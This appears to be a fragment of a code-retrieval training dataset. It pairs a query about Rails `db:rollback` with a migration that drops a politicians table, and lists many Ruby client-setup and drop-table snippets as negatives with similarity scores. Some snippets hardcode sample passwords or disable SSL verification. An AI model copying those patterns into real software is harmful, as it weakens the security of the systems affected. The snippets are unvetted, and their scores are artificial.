"def create_client_socket\n\t\tself.log.debug \"Creating a CLIENT socket bound to: %s\" % [ self.server ]\n\t\tsock = CZTop::Socket::CLIENT.new\n\n\t\tclient_cert = Assemblage::Auth.local_cert\n\t\tserver_cert = Assemblage::Auth.remote_cert( 'server' )\n\n\t\tself.log.debug \"Connecting with %p and %p\" % [ client_cert, server_cert ]\n\t\tsock.CURVE_client!( client_cert, server_cert )\n\t\tsock.connect( self.server )\n\n\t\treturn sock\n\tend",
"def create\n # Revoke the old cert before creating a new one\n cert = certificate_get\n priv_key = private_key_get\n if cert && priv_key\n revoke_cert\n end\n new_cert = create_cert\n client_cert_save(new_cert)\n end",
"def client\n @client ||= self.class.client\n end",
"def doorkeeper_client\n doorkeeper_token.resource_owner_id ? Client.find(doorkeeper_token.resource_owner_id) : Client.new\n end",
"def adwords_client\n if @adwords_client\n # Ensure token hasn't expired\n @adwords_client.authorize\n update authentication: @adwords_client.get_auth_handler.get_token\n\n return @adwords_client\n end\n \n authentication_hash = AppConfig.adwords.deep_dup\n authentication_hash[:oauth2_token].merge!(self.authentication)\n\n @adwords_client = AdwordsApi::Api.new({\n :authentication => authentication_hash,\n :service => {\n :environment => 'PRODUCTION'\n },\n :connection => {\n :enable_gzip => 'TRUE'\n },\n :library => {\n :log_level => 'INFO', # or DEBUG\n }\n })\n\n # Try and get a new access token if it's expired.\n token = @adwords_client.authorize\n\n # AdwordsApi does nothing if issued_at is nil (for example, if we've never\n # requested an access token before for this client channel), but for us\n # that means we definitely want to get a new one!\n @adwords_client.get_auth_handler.refresh_token! if !token[:issued_at]\n\n update authentication: @adwords_client.get_auth_handler.get_token\n \n adwords_client.config.set(\"authentication.client_customer_id\", self.uid)\n adwords_client.skip_report_header = true\n adwords_client.skip_report_summary = true\n\n return @adwords_client\n end",
"def new\n\t\t@client = Client.new\n\tend",
"def client\n @client = Zaim::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def with_client\n begin\n @client = client_class.new\n rescue SystemExit,NoMemoryError\n raise\n rescue Exception => detail\n puts detail.backtrace if Puppet[:trace]\n Puppet.err \"Could not create instance of #{client_class}: #{detail}\"\n return\n end\n yield @client\n ensure\n @client = nil\n end",
"def api_client\n @api_client ||= ::Lokalise.client LokaliseRails.api_token, {enable_compression: true}.merge(LokaliseRails.timeouts)\n end",
"def client_application\n @client_application ||= new_client_application\n end",
"def new_client(username , password)\n @client = Octokit::Client.new(:login => username, :password => password)\nend",
"def internal_client\n clients = Client.where(name: \"#{self.name} Internal\")\n return clients.first if clients.length > 0\n\n client = Client.new(name: self.name)\n client.company = self\n client.save!\n client\n end",
"def getclient\n return @client\n end",
"def get_client\n @client\n end",
"def create_api_credentials\n ::ApiCredentials::Create.new({client_id:@client_id}).perform\n end",
"def test_smart_create\n autoclient = Cisco::Shim::Client.create(address, username, password)\n assert_equal(Cisco::Shim::GRPC::Client, autoclient.class)\n assert(autoclient.supports?(:cli))\n assert_equal(:ios_xr, autoclient.platform)\n end",
"def run\n assert_destination_writable!\n retries = Config[:client_registration_retries] || 5\n client = nil\n begin\n client = api_client(create_or_update)\n rescue Net::HTTPFatalError => e\n # HTTPFatalError implies 5xx.\n raise if retries <= 0\n\n retries -= 1\n Chef::Log.warn(\"Failed to register new client, #{retries} tries remaining\")\n Chef::Log.warn(\"Response: HTTP #{e.response.code} - #{e}\")\n retry\n end\n write_key\n client\n end",
"def create_client\n Metaforce.configuration.log = false\n\n target_org_name = \"production\"\n\n # Pull org credentials from a YAML file for now.\n # Awesome use of YML and Constants.\n config = YAML.load(File.read(METAFORCE_CONFIG_FILE_PATH))\n # {\"production\"=>{\"username\"=>\"[email protected]\", \"password\"=>\"som3p4ss\", \"security_token\"=>\"A23bG523dad\"}, \"developer\"=>...}\n\n #if (target_org_name == \"production\")\n # This is a hard habit to break, but if statements with ()'s are a code smell in ruby.\n # They're only ever needed for complex conditionals and ruby has better ways of handling them.\n #\n if (true)\n config_username = config[target_org_name][:username]\n config_password = config[target_org_name][:password]\n config_security_token = config[target_org_name][:security_token]\n end\n\n # You probably wants this to be a class var.\n @client = Metaforce.new :username => config_username, :password => config_password, :security_token => config_security_token\nend",
"def client\r\n @client ||= APIController.new config\r\n end",
"def client\n @client ||= Utils::Box::Client.new\n end",
"def client\n @client ||= platform_klass::Client.new(@options)\n end",
"def engine_client\n if current_user\n identity_session.access_token.http_client\n else\n Identity.http_client\n end\n end",
"def client\n @client = Firebased::Account.new(credentials) unless defined?(@client)\n @client\n end",
"def admin_client\n @admin_client ||= Class.new(Hsquare::Client::Admin).tap do |klass|\n klass.base_uri(base_uri) if base_uri\n klass.admin_key = admin_key if admin_key\n end\n end",
"def create\n authorize! :create, Client\n build_client\n save_client or render :new\n end",
"def client\n @client ||= NPS::Client.new\n end",
"def new_client(credentials, type=\"compute\", ignore_provider=false)\n tokens = credentials.user.split(\"+\")\n if credentials.user.empty?\n raise AuthenticationFailure.new(Exception.new(\"Error: you must supply the username\"))\n end\n if (tokens.size != 2 && api_v2)\n raise ValidationFailure.new(Exception.new(\"Error: expected \\\"username+tenantname\\\" as username, you provided: #{credentials.user}\"))\n else\n user_name, tenant_name = tokens.first, tokens.last\n end\n #check if region specified with provider:\n provider = api_provider\n if (provider.include?(\";\"))\n region = provider.split(\";\").last\n provider = provider.chomp(\";#{region}\")\n end\n connection_params = {:username => user_name, :api_key => credentials.password, :authtenant => tenant_name, :auth_url => provider, :service_type => type}\n connection_params.merge!({:region => region}) if region && !ignore_provider # hack needed for 'def providers'\n safely do\n raise ValidationFailure.new(Exception.new(\"Error: tried to initialise Openstack connection using\" +\n \" an unknown service_type: #{type}\")) unless [\"volume\", \"compute\", \"object-store\", \"network\"].include? type\n OpenStack::Connection.create(connection_params)\n end\n end",
"def client\n # @client ||= MyService::Client.new(SinaToken.consumer.key, SinaToken.consumer.secret, token, secret)\n end",
"def create_http_client\n c = DefaultHttpClient.new( @connection_manager, @cparams )\n c.http_request_retry_handler = @retry_handler if @retry_handler\n c\n end",
"def auth_client\n raise NOT_IMPLEMENTED_ERROR\n end",
"def createClient(subdomain, username, password, identifier, header)\n\tpayload = {client: {\n name: 'Ruby HTTP Request',\n identifier: identifier\n }\n }\n\turi = URI.parse(\"https://\"+subdomain+\".zendesk.com/api/v2/oauth/clients.json\")\n\thttp = Net::HTTP.new(uri.host, uri.port)\n\thttp.use_ssl = true\n\trequest = Net::HTTP::Post.new(uri.request_uri, header)\n\trequest.basic_auth(username, password)\n\trequest.body = payload.to_json\n\tresponse = http.request(request)\n\tdata = JSON.parse(response.body)\n\tputs \"Creating OAuth Client \" + identifier\n\tputs data\n\treturn data[\"client\"][\"id\"]\nend",
"def api_client\n @api_client ||= WildFly::ApiClient.new\n end",
"def orchestrator_client\n @orchestrator ||= Orchestrator.new(master.uri.to_s, username: 'admin', password: 'pie', ssl_verify: false)\nend",
"def set_client\n SoftLayer::Client.default_client = @softlayer_client = SoftLayer::Client.new(\n :username => current_user.ibm_id, # enter your username here\n :api_key => current_user.ibm_key, # enter your api key here\n :endpoint_URL => @API_PUBLIC_ENDPOINT\n )\n end",
"def client_instance(which, *args)\n manager = Clients.const_get \"#{which}Client\"\n manager.new(self, *args) if manager.respond_to?(:new)\n end",
"def one_client_user(user)\n client = Client.new(\"dummy:dummy\")\n client.one_auth = \"#{user[:name]}:#{user[:password]}\"\n \n return client\n end",
"def client\n Exchange::GemLoader.new('redis').try_load unless defined?(::Redis)\n @client ||= ::Redis.new(:host => config.host, :port => config.port)\n end",
"def create(name)\n conf = lookup_config(name)\n synchronize do\n clients[name] ||= []\n clients[name] << new_redis_client(conf)\n end\n clients[name].last\n end",
"def authorizator_client\n @authorizator_client ||= Authorizator::Client.new(caller_service: caller_service, authorizator_service: authorizator_service)\n end",
"def client\n client_object_exists = (defined?(@client) != nil)\n if client_object_exists\n return @client\n else\n # When coming through a commit hook endpoint, the github_id won't be saved\n # in the session, so we need to be able to grab it from a class instance variable.\n # @todo: actually there's a better way to do this. See it mentioned in my\n # other @todo in this file.\n if session[:github_id] != nil\n github_id = session[:github_id]\n elsif @github_id != nil\n github_id = @github_id\n else\n authenticate!\n end\n\n user = User.find_by(github_id: github_id)\n if Octokit.validate_credentials({ :access_token => user.token })\n # Auto paginate to prevent repo-list truncation on the books/new page. This may\n # hurt performance, so keep an eye on it.\n @client = Octokit::Client.new :access_token => user.token, :auto_paginate => true\n else\n authenticate!\n end\n end\nend",
"def create_pw_client(opts = {})\n usr = opts[:user] || user()\n pw = opts[:password] || password()\n remote = opts[:remote_name] || self.remote_name\n\n logger.info(\"Authorizing #{usr} to work with #{remote}.\")\n\n configure_octokit(opts)\n\n Octokit::Client.new(:login => usr, :password => pw)\n end",
"def two_factor_auth_client\r\n @two_factor_auth_client ||= TwoFactorAuth::Client.new(config: config)\r\n end",
"def internal\n @internal||=ServerClient.new(server,client_options.merge(:internal => true))\n end",
"def create_client\n client = Client.find_or_initialize_by(uid: @client_uid)\n client.name = uf2_client.name.to_s\n client.vertical = uf2_client.g5_vertical.to_s\n client.domain = uf2_client.g5_domain.to_s\n client.type = uf2_client.g5_domain_type.to_s\n client.organization = uf2_client.g5_organization.to_s\n client.secure_domain = uf2_client.g5_secure_domain.to_s\n client.go_squared_client_id = uf2_client.try(:go_squared_client_id).to_s\n client.go_squared_tag = uf2_client.try(:go_squared_tag).to_s\n client.cls_url = uf2_client.try(:g5_cls_url).to_s\n client.cxm_url = uf2_client.try(:g5_cxm_url).to_s\n client.dsh_url = uf2_client.try(:g5_dsh_url).to_s\n client.cpas_url = uf2_client.try(:g5_cpas_url).to_s\n client.cpns_url = uf2_client.try(:g5_cpns_url).to_s\n client.nae_url = uf2_client.try(:g5_nae_url).to_s\n client.vls_url = uf2_client.try(:g5_vls_url).to_s\n client.save\n\n find_or_create_client_website(client) if client.type == \"SingleDomainClient\"\n end",
"def build_client(access_token)\n begin\n client = Octokit::Client.new(access_token: access_token)\n client.user.login\n rescue Octokit::Unauthorized\n raise 'Please enter valid Personal Auth Token'\n end\n client\n end",
"def client\n @client ||= Client.current\n end",
"def _client\n @client ||= XMLRPC::Client.new(@uri.host, @uri.path, @uri.port, nil, nil, nil, nil, @uri.port == 443, @timeout)\n end",
"def client\n @client ||= begin\n Metaforce.configure do |configuration|\n configuration.host = @config[\"client\"][\"host\"]\n configuration.log = false\n end\n\n options = {\n username: @config[\"client\"][\"username\"],\n password: @config[\"client\"][\"password\"],\n security_token: @config[\"client\"][\"security_token\"],\n }\n\n # Verify the login credentials\n Metaforce.login(options)\n Metaforce.new(options)\n end\n end",
"def fitbit_client\n # On authorization, we stored the user's credentials in the database\n # now, whenever we like, we can call this method anywhere\n\n client = FitbitAPI::Client.new(\n client_id: ENV[\"FITBIT_ID\"],\n client_secret: ENV[\"FITBIT_SECRET\"],\n access_token: self.fitbit_access_token,\n refresh_token: self.fitbit_refresh_token,\n expires_at: self.fitbit_expires_at,\n user_id: self.fitbit_user_id\n )\n\n return client\n end",
"def client\n @@client ||= Orchestrate::Application::Connect.client\n end",
"def create_client(mechanism_name)\n peer = Peer.new(@context, mechanism_name, :client)\n @peers[peer.session.address] = peer\n peer\n end",
"def special_client\n @special_client ||= Twitter::REST::Client.new do |c|\n c.consumer_key = configure[:consumer_key]\n c.consumer_secret = configure[:consumer_secret]\n c.access_token = configure[:access_token]\n c.access_token_secret = configure[:access_token_secret]\n end\n end",
"def create_client_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuthClientsApi.create_client ...\"\n end\n # resource path\n local_var_path = \"/auth/clients\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'client_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ClientResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuthClientsApi#create_client\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_client\n\t\t# create client object with app credentials\n\t\t@client = Soundcloud.new(:client_id => ENV['SC_CLIENT_ID'],\n :client_secret => ENV['SC_CLIENT_SECRET'],\n :redirect_uri => 'http://localhost:3000/soundcloud')\n\tend",
"def client\n @client ||= OpenIDConnect::Client.new(\n identifier: @client_id,\n secret: @secret,\n redirect_uri: @redirect_url,\n realm: 'esdl-mapeditor',\n audience: @audience,\n authorization_endpoint: discovery.authorization_endpoint,\n token_endpoint: discovery.token_endpoint,\n userinfo_endpoint: discovery.userinfo_endpoint\n )\n end",
"def client_key\n @client_key ||= CredentialCache.cache(cache_key(:client_key)) do\n hmac(salted_password, 'Client Key')\n end\n end",
"def init_client\n client.credentials?\n end",
"def get_client(uri, http_type, method)\n return @client\n end",
"def client\n @client = Wayback::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end",
"def create_client(&callback)\n begin\n client_id = @server.generate_id\n end while @connected.containsKey(client_id)\n ping(client_id)\n @server.debug 'Created new client ?', client_id\n @server.trigger(:handshake, client_id)\n callback.call(client_id)\n end",
"def new_client(credentials)\n #Fog constructor expecting credentials[:terremark_password] and credentials[:terremark_username]\n terremark_credentials = {:terremark_vcloud_username => \"#{credentials.user}\", :terremark_vcloud_password => \"#{credentials.password}\" }\n safely do\n terremark_client = Fog::Terremark::Vcloud.new(terremark_credentials)\n vdc_id = terremark_client.default_vdc_id\n end\n if (vdc_id.nil?)\n raise \"AuthFailure\"\n end\n terremark_client\n end",
"def create_client(options = {})\n post(:clients, clients: [options]).pop\n end"
] | [
"0.7131661",
"0.6964142",
"0.6602839",
"0.659781",
"0.65675753",
"0.6536657",
"0.6506389",
"0.6477032",
"0.64711404",
"0.6457924",
"0.64498234",
"0.64091545",
"0.6383069",
"0.638055",
"0.6366709",
"0.6336154",
"0.63336056",
"0.63320833",
"0.63243055",
"0.63243055",
"0.6288094",
"0.6270305",
"0.6268612",
"0.6268608",
"0.6240708",
"0.6230966",
"0.6229483",
"0.62018377",
"0.6179242",
"0.61688906",
"0.6167563",
"0.61652696",
"0.61445725",
"0.61139184",
"0.61139184",
"0.61139184",
"0.60831946",
"0.6072463",
"0.6070997",
"0.60592675",
"0.60480535",
"0.60379213",
"0.6026971",
"0.6013831",
"0.6002381",
"0.5983093",
"0.59772044",
"0.59689265",
"0.59613967",
"0.5939703",
"0.59363204",
"0.5933391",
"0.5928374",
"0.592021",
"0.5919333",
"0.5905122",
"0.58882284",
"0.58880246",
"0.58864516",
"0.58824795",
"0.5880993",
"0.5869471",
"0.58654255",
"0.58645755",
"0.5861407",
"0.58594966",
"0.5853383",
"0.58424956",
"0.5836876",
"0.5835727",
"0.58338183",
"0.5829616",
"0.58265626",
"0.5824212",
"0.5800449",
"0.57866156",
"0.5786244",
"0.5785452",
"0.57840866",
"0.57733226",
"0.5772819",
"0.5757935",
"0.5749244",
"0.5744633",
"0.5742968",
"0.5740834",
"0.5740273",
"0.57385623",
"0.5737409",
"0.5736353",
"0.5735065",
"0.5727514",
"0.571621",
"0.5715017",
"0.5714669",
"0.5703426",
"0.57021195",
"0.569956",
"0.56965625",
"0.56953835"
] | 0.6895538 | 2 |
running $ rake db:rollback will remove the table | def down
drop_table :politicians
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rollback\n @db.rollback\n end",
"def truncate_db\n drop_table\n create_table\n end",
"def drop_table\n db.drop_table(table_name)\n end",
"def drop_tables!\n migrate(:down)\n end",
"def drop_table\n self.connection.drop_table table_name\n end",
"def drop_versioned_table\n self.connection.drop_table versioned_table_name\n end",
"def delete_table\n table_name = self.to_s.pluralize.underscore\n DATABASE.execute(\"DROP TABLE #{table_name}\")\n end",
"def drop_table(name)\n not_exist(name)\n\n ORM::DBConnection.new(model_name(name)).remove_table(name)\n File.delete(\"app/services/db/tables/#{name}.json\")\n end",
"def rollback_db_transaction\n execute(\"ROLLBACK\")\n end",
"def rollback_db_transaction\n execute(\"ROLLBACK\")\n end",
"def destroy!\n drop_ddl = tables.map(&:name).map do |t|\n \"drop table if exists #{t};\\n\"\n end.join\n ActiveRecord::Base.connection.execute(drop_ddl)\n end",
"def unlink\n self.transaction do\n self.class.factory.model.connection.execute <<-SQL\n ALTER TABLE #{name} NO INHERIT #{self.class.factory.model.table_name};\n ALTER TABLE #{name} RENAME TO #{name}_unlinked;\n SQL\n self.destroy\n end\n end",
"def reset\n tables = MODELS + [ENV['SCHEMA_TABLE']]\n tables.each { |t|\n DB << \"DROP TABLE IF EXISTS #{t.inspect};\"\n }\nend",
"def delete_traps\n @db.execute(\"DROP TABLE Traps\")\n end",
"def rollback\n @MySQLConnection.query('rollback')\n end",
"def rollback_db_transaction() end",
"def rollback_db_transaction() end",
"def destroy\n [METADATA_TABLE_NAME, RUN_HISTORY_TABLE_NAME,\n DISABLED_MONITOR_TABLE_NAME, MONITOR_INFO_TABLE_NAME].each do |table|\n @db.execute(\"DROP TABLE IF EXISTS #{table}\")\n end\n\n create()\n end",
"def down\n \t# Example\n \t# Easy to undo something you create, but this doesn't work\n \t# because it is hard to fix mistakes.\n \t# drop_table :pictures\n end",
"def rollback\n FileUtils.rm_r(path) if File.exist?(path)\n transaction.rollback\n end",
"def delete_table\n TinyDyno::Adapter.delete_table(table_name: self.table_name)\n end",
"def purge\n @db.execute( \"DELETE FROM #{TABLE_NAME};\" )\n end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def rollback; end",
"def clear!\n transaction do\n Schema::TABLES.each do |table|\n execute(\"DELETE FROM #{table}\")\n execute(\"DELETE FROM sqlite_sequence WHERE name = '#{table}'\") # reset the auto-increment sequence\n end\n end\n self\n end",
"def rollback_transaction_sql\n SQL_ROLLBACK\n end",
"def rollback_transaction_sql\n SQL_ROLLBACK\n end",
"def rollback(database, step = 1)\n ensure_schema_migrations_table_exists(database)\n Database.process(database) do\n ActiveRecord::Migrator.rollback(migration_paths(database), step)\n end\n dump_schema(database)\n end",
"def teardown_test_db\n ActiveRecord::Base.connection.tables.each do |t|\n ActiveRecord::Base.connection.drop_table(t)\n end\nend",
"def rollback\n end",
"def down\n execute <<-SQL\n DROP TABLE event_registrations;\n SQL\n\n execute <<-SQL\n DROP TABLE members;\n SQL\n\n execute <<-SQL\n DROP TABLE events;\n SQL\n\n execute <<-SQL\n DROP TABLE treatment_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE feeding_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE employees;\n SQL\n\n execute <<-SQL\n DROP TABLE animals;\n SQL\n\n execute <<-SQL\n DROP TABLE tanks;\n SQL\n\n execute <<-SQL\n DROP TABLE habitats;\n SQL\n end",
"def dropUserTable\n @conn.exec(\"DROPE users\")\n end",
"def resetUntappdTable\n @db.execute \"DROP TABLE IF EXISTS #{@untappdTable};\"\n @db.execute <<-SQL\n CREATE TABLE \"#{@untappdTable}\" (\n id float,\n name varchar(40),\n brewery varchar(60),\n beer_label varchar(40),\n abv float,\n ibu float,\n style varchar(40),\n description varchar(60),\n rating_score float,\n rating_count float\n );\n SQL\n end",
"def rollback\n query 'rollback'\n self\n end",
"def drop_translated_table\n self.connection.drop_table translation_table_name\n end",
"def rollback\n IBM_DB.rollback(@conn)\n end",
"def drop_table_statement(repository, model)\n \"DROP TABLE #{quote_table_name(model.storage_name(repository.name))}\"\n end",
"def drop_table(table_name = temporary_table_name)\n ::RailsRedshiftReplicator.connection.exec \"drop table if exists #{table_name}\"\n end",
"def clean\n disable_referential_integrity do\n tables_cache.keys.reverse_each do |table|\n ActiveRecord::Base.connection.execute %(\n DELETE FROM #{table}\n )\n end\n end\n end",
"def down\n drop_table TABLE_NAME\n end",
"def truncate_table\n\t\t\t transaction { connection.execute(\"TRUNCATE TABLE #{quoted_table_name};\") }\n\t\t end",
"def rollback_db_transaction\n @transaction = @connection.rollback\n end",
"def rollback_db_transaction\n log('rollback transaction', nil) { @connection.rollback }\n end",
"def clear_database_table\n <%= class_name %>.delete_all\n end",
"def rollback()\n #This is a stub, used for indexing\n end",
"def drop_and_create_schema_migrations_table\n sql = [\n \"USE #{@database}\",\n 'DROP TABLE IF EXISTS schema_migrations',\n 'CREATE TABLE schema_migrations ( version varchar(255) COLLATE utf8_unicode_ci NOT NULL, UNIQUE KEY unique_schema_migrations (version)) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci'\n ]\n\n run_commands(sql)\n end",
"def rollback\n @repo.rollback\n end",
"def rollback\n sanity_check\n @handle.rollback\n end",
"def exec_rollback_db_transaction\n log('ROLLBACK', 'TRANSACTION') { @connection.rollback }\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def drop\n\t\tActiveRecord::Base.connection.execute \"SET AUTOCOMMIT=0\"\n\t\tActiveRecord::Base.connection.execute \"SET FOREIGN_KEY_CHECKS=0\"\n\n self.change_schema_to 'information_schema';\n @result[:deleted] = []\n \n if request[:remove_all]\n #remove all tables\n @tables = ActiveRecord::Base.connection.select_all \"select TABLE_NAME table_name from `TABLES` where `TABLE_SCHEMA`='#{request[:db_name]}'\"\n self.change_schema_to request[:db_name];\n \n @tables.each do |table|\n ActiveRecord::Base.connection.execute \"drop table `#{table[\"table_name\"]}`\"\n @result[:deleted].push table[\"table_name\"];\n end\n else\n self.change_schema_to request[:db_name];\n ActiveRecord::Base.connection.execute \"drop table `#{request[:key]}`\";\n @result[:deleted].push request[:key];\n end\n \n self.change_schema_to 'information_schema';\n @result[:type] = 'table'\n render json: @result\n end",
"def delete_kiosks\n @db.execute(\"DROP TABLE Kiosks\")\n end",
"def reset!\n migrate_table!(:down)\n migrate_table!(:up)\n disconnect\n end",
"def delete_table instance_id, table_id\n tables.delete_table name: table_path(instance_id, table_id)\n end",
"def dropUserTable(tableName)\n @conn.exec(\"DROP TABLE #{tableName}\")\n end",
"def drop!(db, colls = nil)\n db.in_transaction do |conn|\n schema_tables(conn).each do |table|\n conn.exec \"DROP TABLE IF EXISTS #{table}\"\n end\n end\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_schema_table(name)}\"\n end",
"def prepare_db_for_restore\n raise \"restore unimplemented for #{adapter}\" unless (adapter = @db_conf[:adapter]) == 'postgresql'\n query = \"SELECT table_name FROM information_schema.tables WHERE table_schema='public' AND table_type='BASE TABLE'\"\n cmd = \"psql #{@db_conf[:database]} -t -c \\\"#{query}\\\"\"\n puts \"Executing: '#{cmd}'\"\n tables = `#{cmd}`\n\n query = \"DROP TABLE #{tables.map(&:chomp).map(&:strip).reject(&:empty?).join(\", \")} CASCADE\"\n cmd = \"psql #{@db_conf[:database]} -t -c \\\"#{query}\\\"\"\n puts \"Executing: '#{cmd}'\"\n `#{cmd}`\n end",
"def rollback\n # implement in subclasses\n end",
"def rollback_db_transaction() \n log('Rolling back boxcar', 'rollback_db_transaction()')\n @command_boxcar = []\n end",
"def delete_buttons\n @db.execute(\"DROP TABLE Buttons\")\n end",
"def drop(db)\n\tif $table_exists\n\t\tdb.execute(\"DROP TABLE items;\")\n\t\t$table_exists = false\n\t\tputs \"\\nTable successfully deleted.\"\n\telse\n\t\tputs \"\\nTable successfully deleted.\"\n\tend\nend",
"def drop_table(klass)\n # Remove leftover data from some join tabkes.\n klass.relations.each do |rel|\n if rel.class.to_s == \"Og::JoinsMany\" and rel.join_table\n target_class = rel.target_class\n exec \"DELETE FROM #{rel.join_table}\"\n end\n end\n exec \"DROP TABLE #{klass.table}\"\n end",
"def rollback(step = 1)\n files = File.migrated.reverse.first(step)\n Migrate::Down.new(files).perform\n end",
"def drop_table(table)\n connection.drop_collection(database,table)\n end",
"def rollback!\n restore_attributes\n end",
"def delete\n table_name = self.class.to_s.pluralize.underscore\n DATABASE.execute(\"DELETE FROM #{table_name} WHERE id = #{@id};\")\n end",
"def down\n \tdrop_table :solution_submissions\n\n # \texecute <<-SQL\n # \t\tDROP TYPE s_status;\n # \tSQL\n\n # \texecute <<-SQL\n # \t\tDROP TYPE lang;\n # \tSQL\n\n end",
"def exec_rollback_db_transaction\n @connection.rollback\n @connection.autocommit = true\n end",
"def test_drop_table_if_exists\n connection.create_table(:testings)\n assert connection.table_exists?(:testings)\n connection.drop_table(:testings, if_exists: true)\n assert_not connection.table_exists?(:testings)\n end",
"def rollback_transaction(tx)\n tx.rollback\n end",
"def truncate\n connection.truncate(table_name)\n end",
"def delete\n table_name = self.class.to_s.pluralize.underscore\n DATABASE.execute(\"DELETE FROM #{table_name} WHERE id = #{@id};\")\n end",
"def drop_database(name) #:nodoc:\n execute \"DROP DATABASE #{quote_table_name(name)}\"\n end",
"def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end",
"def delete_table(db)\n\tputs ('Are you sure you want to wipe the table? (y/n)')\n\tif gets.chomp == 'y'\n\t\tdb.execute(\"DELETE FROM todo\")\n\t\tdb.execute(\"DELETE FROM log\") \n\tend\nend",
"def db_remove\n \"DELETE\" + from_table_where + sql_match_conditions\n end",
"def drop_prejoin_fact_table\r\n connection.drop_table(prejoined_table_name) if connection.tables.include?(prejoined_table_name)\r\n end",
"def drop_table(table_name, **options)\n schema_cache.clear_data_source_cache!(table_name.to_s)\n execute \"DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}\"\n end",
"def drop_table_sql(name, options)\n \"DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_schema_table(name)}#{' CASCADE' if options[:cascade]}\"\n end",
"def delete_table(table_name)\n data.delete(table_name)\n end",
"def rollback()\n check_return_code(PureHailDB.ib_trx_rollback(@trx_ptr))\n end",
"def clear_tables\n # the order of operations here is important because of the foreign key constraint\n MinWords::DB.drop_table :defines, :words\n create_tables\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def drop_older_db(table, end_time)\n query = drop_older(table, end_time)\n if !@dry_run\n conn = connection\n conn.query query\n @deletes += conn.affected_rows\n @delete_qs += 1\n else\n verbose query\n end\n end",
"def setup\n setup_test_database\n drop_and_create_schema_migrations_table\n end",
"def delete_table(table)\r\n referenced_by = references(table)\r\n if !referenced_by.empty?\r\n puts \"unable to delete table \\'#{table}\\' because it is referenced by table(s):\"\r\n referenced_by.each{|table_name| puts \"#{table_name}\"}\r\n false\r\n elsif table_exists?(table)\r\n delete_table_cmd = \"DROP TABLE IF EXISTS #{table}\"\r\n @db.execute(delete_table_cmd)\r\n puts \"#{table} was deleted\"\r\n true\r\n end\r\n end",
"def rollback_transaction(tx)\n # nothing to do\n end",
"def destroy(table)\n end",
"def resetUsers\n $conn.exec(\"drop table accounts\");\n $conn.exec(\"CREATE TABLE accounts (id SERIAL, email TEXT PRIMARY KEY, name TEXT)\");\nend",
"def drop_sequence(name)\n self.execute(\"DROP TABLE IF EXISTS %s_sequence\" % name)\n end",
"def down\n execute <<-SQL\n DROP TABLE working_intervals;\n SQL\n end",
"def drop_table_sql(name)\n \"DROP TABLE #{quote_identifier(name)}\"\n end",
"def rollback transaction\n service.rollback project_id: project, database_id: database, transaction: transaction\n end",
"def remove_database\n FileUtils.rm_rf(path) if File.exist? File.join(path, \"iamflint\")\n @database = nil\n @writable_database = nil\n end",
"def drop_database(name)\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end",
"def reset_db\n \n end",
"def clear_teams\n\t@table_array.each do |each_table_name|\n\t\[email protected](\"DROP TABLE IF EXISTS \" + each_table_name)\n\tend\nend"
] | [
"0.78407913",
"0.76578134",
"0.7580251",
"0.7539211",
"0.7524286",
"0.747389",
"0.7349866",
"0.7339923",
"0.7302541",
"0.7302541",
"0.7290539",
"0.72417355",
"0.72143525",
"0.71844363",
"0.7155083",
"0.7153269",
"0.7153269",
"0.70842266",
"0.7051016",
"0.70423716",
"0.6919467",
"0.6896044",
"0.6855369",
"0.6855369",
"0.6855369",
"0.6855369",
"0.6855369",
"0.68488044",
"0.68448067",
"0.68448067",
"0.6824707",
"0.6804386",
"0.6786196",
"0.6762405",
"0.6761585",
"0.67504376",
"0.6746624",
"0.6734014",
"0.67284226",
"0.6681204",
"0.6674778",
"0.66453844",
"0.66419905",
"0.6633187",
"0.65966487",
"0.6589844",
"0.6577416",
"0.65714616",
"0.6564009",
"0.65557146",
"0.655418",
"0.654077",
"0.6535405",
"0.6532031",
"0.6531617",
"0.6520401",
"0.65080845",
"0.6506888",
"0.65012157",
"0.64907426",
"0.6450434",
"0.64447325",
"0.6440959",
"0.6436343",
"0.64317966",
"0.6418288",
"0.6417039",
"0.6395456",
"0.63801956",
"0.63778794",
"0.6369301",
"0.63677675",
"0.6364347",
"0.6361617",
"0.63570154",
"0.6346834",
"0.63272417",
"0.63183177",
"0.6317815",
"0.63174564",
"0.6314132",
"0.6293147",
"0.62916106",
"0.6291214",
"0.6284305",
"0.62818635",
"0.6277848",
"0.62748796",
"0.62726593",
"0.6265824",
"0.62642616",
"0.62604094",
"0.6259337",
"0.6257378",
"0.6252014",
"0.62515444",
"0.6242108",
"0.62331945",
"0.6231783",
"0.6230257",
"0.6221272"
] | 0.0 | -1 |
